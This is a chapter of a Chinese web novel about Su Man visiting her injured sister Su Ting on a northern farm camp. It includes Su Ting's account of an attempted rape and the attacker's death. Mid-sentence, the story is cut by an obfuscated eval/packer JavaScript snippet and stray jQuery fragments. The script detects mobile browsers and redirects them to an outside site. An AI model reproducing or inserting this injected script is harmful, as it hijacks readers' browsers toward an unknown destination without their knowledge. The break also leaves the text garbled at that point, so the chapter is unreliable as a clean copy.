81. 第八十一章 姐妹
    北大荒到了冬季,下午四点左右天色就十分昏暗

    好在骡车的主人是当地的本地人心地善良又对这周围的地形很熟悉,安全把苏曼送到这里。

    苏婷替自己这个胆大的二姐捏一把冷汗的同时,把放在炕上的一张小炕桌放在地上又把挂在房梁顶上的马灯取下来,放在炕床边的一根木头柱子上挂着这样炕床周围的光线就亮了很多。

    她转头道:“我的小腿断了,做了一个接骨手术在团部医院养了一个月,伤口大致恢复,目前还不能走太远的路也不能下地干活,只能在屋里养着。”

    她说完,借着亮很多的光线看见苏曼双颊凹陷,面色苍白穿着很厚的衣服依然能感觉到她浑身骨瘦如柴的纤弱模样眼神也失去了以往的光彩,变得死气沉沉。

    苏婷大惊:“姐你怎么变成现在这个样子了?你是生病了,还是遇上了什么事?”

    苏曼望着眼前跟她长得有七分相五官没她那么精致,眉眼比她多几分英气跟她一样瘦了很大一圈看起来也很羸弱的苏婷,心中一酸将自己这段时间受得委屈跟苏婷讲了讲。

    苏曼比苏婷大十一岁在苏婷的印象里从小到大只有她跟着这个姐姐屁股后面混她有什么烦恼心事都跟苏曼讲由苏曼来开导劝解她帮她解决问题。从没有她帮苏曼解决问题聆听她烦心事的时候。

    如今听到苏曼在徐启峰那儿受了那么大的委屈为了照顾他瘦成这副随时都能倒下的模样苏婷心疼地抱住她恨恨道:“这姓徐的太过分了!不管你们俩因为什么缘故吵架他也不能对你不管不顾让你一个人来北大荒吧。我一直以为你是跟他一起来的没想到是你自己来。你要是在来的路途中出了什么事我拼着自己的命不要也要替你出头杀了他。”

    苏曼没跟苏婷提起她是穿越之人的事情只是跟她说她跟徐启峰发生了一些误会两人吵架他不管她这才赌气独自一人来到北大荒。

    苏曼红着眼眶说:“其实也没什么大事就是他脑子一根筋暂时转不过弯来哄我。我也不惯着他他要不来找我我也不回去。我俩大不了离婚好聚好散我离了谁都能活。”

    “姐你真打算跟他离婚啊?”苏婷有些惊讶拉着她上炕“我感觉姐夫对你挺好的虽然不知道你们俩因为什么事情吵架但就冲他以前不顾自己的前途向军区首长们请求将咱们爸妈大哥大嫂提前下放免遭那些黑心人批D侮

    辱受罪的事情我就觉得姐夫心里一直有你的。你在我这里玩一段时间还是回去跟姐夫好好谈一谈早点和好的好。”

    这里温度太冷光靠四面那层薄薄的土墙压根抵御不了寒冷很多泥草房会提前备好劈好的柴块放在屋里从早到晚烧个大火炉就开一点窗户稍微透气避免二氧化碳中毒这样屋里就暖和不少。

    像苏婷住得这种拥有土炕还是从里烧炕整个屋子都热乎乎的房子十分少见。

    苏曼坐上炕床苏婷把被褥摊开盖在她的腿上她瞬间感觉自己活了过来身上也不冷了。

    苏曼还是头一次上北方的土炕心里稀奇不已的同时靠在土炕旁的墙面舒服地叹口气道:“你刚才还说要替我出头呢这会子又劝我跟他和好你到底站在哪一边?”

    “我当然是站在你这边。”苏婷往她后背递一个用乌拉草和蒲苇絮做得靠枕让她靠着墙舒服些坐在她身边道:“你是我姐无论发生什么事情我永远都站在你这边我要给你出头也不是说说而已。可是姐你今年已经三十岁了又是二婚你要是离了婚别人会怎么想你怎么说你?你离了婚一个人过在这形式严峻的年头又能好到哪里去?姐夫虽然脾气不大好性子执拗但他以前对你的好我是看在眼里的。你们要是有什么误会解开就行不要因为一些莫须有的事情闹得双方都寒心。到时候你们真离婚你舍得他吗?”

    苏曼沉默不语她是不在乎什么离婚二嫁名头也不在乎别人怎么看她可她舍不得徐启峰。

    她在他身上耗尽了心血感情

    苏婷看她不说话也不再劝站起身道:“姐你大老远坐车过来肯定又累又饿身上还腻歪的很吧我去给你弄点吃再给你烧些水你拿帕子把身上擦擦早点睡觉。”

    她下炕一瘸一拐地往门口走想去找连队的食堂部用自己的工分换些粮食肉菜过来给苏曼做一顿饭吃。

    苏曼看她行动不便担心她的伤势下炕去拉她:“你别忙活了我不是很饿外面天那么黑又在下雪你伤还没好别乱动加重伤势。明早我睡醒我自己去找吃得。”

    她话音刚落听见门外传来一阵敲门声紧接着一道声音粗哑的男人在门外道:“苏知青我是杨从军我给你送一些粮食肉菜。”

    苏曼楞了一下看向苏婷什么情况?

    苏婷微怔接收到苏曼的目光她不自在地打开房门“杨连

    长,这么晚了,难为你想得这么周到,麻烦你了。

    屋外大雪飘飘,杨从军高大的身影站在门口,手里拎着一小袋白面馒头,一颗冻白菜,一条冻鱼,还有一小块冻孢子肉。

    看见苏婷,他将手里的东西放在门口,对矮他一个头的苏婷道:“有人在昨晚东方向的林子里看见有野狼出没,晚上你们把门抵好,不要到处乱走。要是有野兽来刨你们的屋子,记得吹响哨子,我会在第一时间里赶过来,把野狼赶走。

    “好,谢谢杨连长。

    “不用给钱。杨从军垂眸看她,“鱼是我自己钓得,冻在食堂的后院大雪堆里,狍子肉和馒头都是给伤患的病号福利,白菜只要了五分钱,我不差这点钱,你好好招待你姐姐。

    他说完这话,也不等苏婷做反应,转身离开。

    苏婷望着他离去的背景,在风雪中越走越远,心里有些说不出来的滋味。

    “快把门关上,冷死了!

    苏曼把门口的肉菜放进屋里,将门关上,转身看着苏婷,似笑非笑,“小婷,那个杨连长是怎么回事?

    “什么怎么回事?苏曼装糊涂,“姐,我一般都在食堂吃,自己动火的时候少,屋里也没油炒菜,要不我们做个清汤锅子涮菜吃,明早我再想法给你弄些好吃的。

    “行,你怎么方便,怎么来。

    屋门后放着一小堆劈好的小柴块,还有一个铁炉子,一口黑漆漆的四方锅,苏婷把炉子升起火,又把门打开,捧着锅到门口装了半锅干净的雪回来,放在炉子上烧起来。

    第九连队所在的开垦驻扎地,只有两口水井,到冬季都被寒冷的天气冻住封上,想打水,得在白天,把井口的厚冰凿开,或者用热水烫,才能打水。

    晚上被封住后,是没人去弄井口厚冰的,想用水,只能用外面的冰雪自己烧。

    苏曼坐在炉子旁,看着锅里的雪已经完全融化,冒着咕噜噜的开水泡,将切好的白菜放一半进锅里煮。

    苏婷拿刀给狍子肉切片,好半天才切一片,苏曼忙从她手里接过刀道:“我来吧,我看着瘦,力气还是有的。

    她把红红的狍子肉切成晶莹剔透的薄片,又切一些白生生的薄鱼片,等到锅里的白菜煮得软烂,汤色变得有些金黄,小小的屋里弥漫着白菜淡淡的香味,这才把苏婷拿得一小撮盐,放进锅里调味,再将切好的肉片鱼片放进锅里涮。

    苏婷住得地方条件有限,除了盐之外,没

    有任何调味品,就连碗筷都是苏婷自己用的饭盒。

    苏曼饿极了,也不管什么调味不调味,就着苏婷的勺子,把锅里烫熟的肉片白菜扒拉进饭盒里稍微放凉,唏哩呼噜吃起来。

    清汤寡水的涮菜,别有一番风味,狍子肉片很香,鱼片没有腥味,白菜软烂吃进嘴里还带着甜味,跟南方那边的肉菜完全不一样,口感好吃不少。

    也不知道是苏曼饿狠了的缘故,还是北大荒这片广缪的黑土地,孕育出来的物种就是比南方的好,总之苏曼吃个不停,还不忘记让苏婷也吃。

    最后吃得差不多的时候,再拿出一个杨从军拿得比脸还大的馒头,就着锅里滚烫的汤汁稍微泡一泡,泡软后吃进嘴里,松松软软,带着鲜美的清汤锅肉汤的味道,吃完再喝一碗汤,那叫一个美!

    两人吃完饭,苏婷把锅刷洗干净,给苏曼烧了一锅热水。

    这么冷的天,天天洗澡是不可能的,那会把人冻僵。

    一般在这里生活的人,十天半月洗一次澡是常事,每次洗澡还得在身边放个烧着大火的炉子,以免把自己冻僵。

    苏曼把厚衣服脱掉,留两件里衣,就在火炉子旁边,把自己身上里里外外擦了一遍,还是冻得够呛。

    不过擦完身上,腻歪的身子清爽许多,她跟苏婷一起泡完脚,姐妹俩上炕床并排躺在一起,说着闲话。

    苏曼像原主小时候抱苏婷一样,把她搂在怀里问:“一般的知青不都是住在联排的房子里,你怎么自己住在这里?”

    “这是杨连长的干部房子,他让给我暂住的。”苏婷窝在她的怀里,知道她今天不问出个所以然,她是不会放弃的,也没隐瞒她。

    “他为什么要让给你住?”苏曼低头看她,“他是不是喜欢你?这又是让房子给你住,又冒雪给你送吃得,怎么看,他都是喜欢你的表现。”

    “哪有。”苏婷脸上腾起一片红晕,声如蚊呐道:“他是看我可怜,这才对我好。”

    苏曼:“不信。”

    苏婷无奈,只能跟她讲起她跟杨从军之间的过往。

    她在1966年不顾苏曼的劝阻,毅然踏上来北大荒,经过一系列艰苦繁重的劳作,曾经爱慕之人的背叛,后来又被打压成修正份子之后,被一同来的女知青们各种排挤,那时候她才明白苏曼的苦心,可惜后悔晚矣。

    繁重的劳作,加上身心精神上的摧残,促使苏婷生无可恋,看不到生活的希望,疯了一般想回城,想回家看看。

    于是在一个夜晚,她跟几个也想跑的支边青年

    一起跑,没想到在路上遇到大批的狼群,幸好被隔壁连队的连长,也就是杨从军听见求救声音,带着人把他们救了回来。

    之后他们被一通批判教育,扣不少工分,她无力承受那看不见天日,能把人活脱脱累死的繁重开荒垦地日子,心灰意冷地跑到偏远的草甸子,想跳沼泽水坑了却自己。没想到被在附近打野鸭子的杨从军所救,对她一番开导劝解,让她以后有事,可以找他帮忙。

    再后来,她的确遇上一些事情,跑到第八连队请杨从军帮忙,他也爽快地帮忙。

    苏婷就知道,杨从军跟表面上凶狠恶煞的样子不同,其实是个面冷心热的好人。

    他们俩不在一个连队,偶尔在草甸子钓鱼打猎遇见,或者上山砍树时遇见,两人只是点头之交,并没有过多的交谈。

    直到去年下半年开始,苏婷他们九连一个叫黄中天的男人,总是嬉皮笑脸地跟她说些不入流的话,让她跟他处对象。

    她不同意,他变本加厉,威胁她,说她要是不跟他处对象,他有得是法子收拾她,因为他的舅舅是九连的连长,他还是苏婷所在小队的队长。

    苏婷坚决不妥协,跑去连队队长那里告状,结果那位汪连长总是和稀泥,包庇黄中天,更加助长他的气焰,竟然在一次夜黑风高的夜晚,将她堵在两个麦跺后的空地里,死死摁住她,脱她的衣服,企图QJ她。

    她大声呼救,同连队的人听见,不敢惹黄中天,当做没听见。

    她的上半身衣服被脱得精光,黄中天兴奋地揉搓她的胸脯,下身蠢蠢欲动之时,杨从军如天神一般出现,一脚踹开黄中天,拔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13415861|94298||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    枪打爆黄中天的下身,又把他打个鼻青脸肿,趴在地上像只死狗晕过去,这才背对着苏婷,让她穿好衣服先回去,这里发生的事情不要告诉人,然后扛着黄中天走了。

    苏婷一个十八岁的未婚姑娘受到这样的侵犯,虽然没有进行到最后一步,可她感觉自己已经脏了,不再纯洁了,穿好衣服回到屋里后,一个人蒙在被子里,无声哭了很久。

    她哭了一夜,第二天脑袋昏沉地请假,给家里人写一封告别信,想找个没人的地方自我了断。

    没想到信还没写好,就听到同屋的两个女知青说黄中天死了,是被北大荒随处可见的野兽和野狼咬死的,尸体被咬得四分五裂,被一个早起上工的人发现,差点吓死。

    苏婷手一抖,直觉黄中天的死,是杨从军出手。

    黄中天的舅舅汪连长不相信黄中天是被野狼咬死的,他姐只有这一个独子,平时宝贝的紧,他也惯着

    他,现在一个来北大荒近三年,熟知附近地形及野兽出没点的人,就这么死了,他怎么可能相信。

    汪连长嚷嚷着要调查杀人凶手,把苏婷抓走,一阵逼问审查,还给她私自用刑,想让她承认是她害死了黄中天。

    苏婷怎么可能承认啊,那个畜、生,他就是死一万次都不够!杨从军帮她除掉祸害,她不可能供出他。

    汪连长见她死不承认,脸色阴沉地派她在快过年的那几天,跟那些被下放改造的问题份子,一起上雪山砍冬柴。还特意安排一个人,在她附近伐木,把枯树推向她,想制造一出意外,让她偿还黄中天的命。

    可惜她福大命大,只砸断一条腿,动接骨手术就能恢复如初。

    本来汪连长还想从中作梗,拖延时间,让苏婷无法坐车去团部医院治疗,结果团部派了一支队伍过来,将他抓拿,说有人举报他,以权谋私,私扣粮食,欺压知青,还包庇自己侄子干下无数欺男霸女,QJ女知青的事实。不等他辩解,就直接把他抓走。

    苏婷被送去医院,得到很好的治疗,出院的时候,汪连长已经上了军事法庭判刑坐牢,第九连队的连长变成杨从军接手管理。

    他以怕她休息不好,腿会无法复原下地干活的理由,将她调离联排泥草房,暂住进他的独栋房子里,等她腿伤完全康复,再回联排房去。

    苏曼听完她讲得事情,一下从被窝里爬起来,一边咬牙切齿说黄中天就这么死了,真是便宜他了,一边伸手摸着苏婷的左腿,心疼道:“傻丫头,你遇上这么大的事情,怎么不跟姐写信说一说?我要是早知道,我早来看你了。你一个小姑娘,在这荒芜的北大荒孤苦伶仃,受了欺负也没个家人撑腰,姐不敢想,你那时候有多绝望,有多难过。

    苏婷被她说得眼泪又流下来,将头靠在她的肩膀,双手环着她的细腰说:“没事的姐,我撑过来了。你能来看我,我真的好高兴,以前的事情我会努力忘掉,好好过以后的日子。我也会听你的话,不再乱折腾了。

    苏曼将她抱在怀里,脑袋抵着她的脑袋说:“那个杨从军应该是喜欢你,才会一直保护你,替你做那些事情。小婷,你一个水灵灵的小姑娘孤身在这茫茫北大荒里,难免会被男多女少的建设兵团男人们惦记。你没有靠山,死了一个黄中天,还有可能出现第二个黄中天。目前你想回城有些困难,你要是能坚持下去,撑上个几年时间,或许政策一变,你跟爸妈大哥大嫂他们就能回城。如果你不能撑下去,杨从军.

    她后面的话没说,苏婷心中明白,抿

    着嘴道:“姐,我会看着办的。到时候我会写信跟你联系,问问你的意见。”

    苏曼松了口气,“多观察观察杨从军的人品性格,为人处世。如果人品不错,可以考虑。当然,要以你的感觉为主,不能为了逃避困难劳动,跟他没有一丝感情就跟他在一起。那样对他很不公平。”

    她又想到徐启峰,其实她一开始跟徐启峰就没一点感情,之所以没有离婚,就是想利用他的军职。

    在这件事情上,她其实是有愧徐启峰的,徐启峰无法接受她欺骗他,利用他,还有穿书的事情,他暂时不想见到她,也是情有可原。

    苏婷垂着眼眸嗯了一声,两姐妹没再说话,盖好被子后,姐妹俩紧紧靠在一起睡了过去。

    **

    苏曼走得第四天,徐启峰终于觉得不对劲,问起赵政委,苏曼的近况。

    赵政委推了推眼镜,慢悠悠道:“总算想起你还有媳妇落在家了啊。”

    “说人话。”徐启峰皱眉:“少在我面前阴阳怪气。”

    赵政委啧一声,“就你这臭脾气,也就苏曼受得了你,换做别的女人,谁会对你掏心掏肺?你媳妇离家出走了,在家里给你留了一封信,你满意了?”

    徐启峰瞪大眼睛,不可置信道:“你说什么?!!”

    赵政委冷哼:“我说你媳妇走了!”

    徐启峰脑子里嗡了一下,心里涌起一股前所未有的恐慌感,这一刻他再也无法欺骗自己,无论苏曼怎么利用他,欺骗他,无论她说得穿书世界,他是所谓的小说男主角是不是真的,他对她的感情始终是真的,他不想失去她。

    “她的信在哪?她走多久了?”徐启峰焦急地询问赵政委,嗓子像砂纸摩挲着铁片,沙哑难听。

    “信的内容我怎么知道,那是她写给你的。要不是齐衡的媳妇又扒你家墙,发现苏曼留了一封信不见了,过来找你嫂子说道,你嫂子才想起苏曼临走前来我们家借用过电话,我还真不知道她已经走了。”

    赵政委坐在病床边,看他焦急的样子,摇着头道:“不过她开了一张两个月的介绍信,买了一张前往北大荒的火车票,我猜,她应该是去找她妹妹苏婷了。”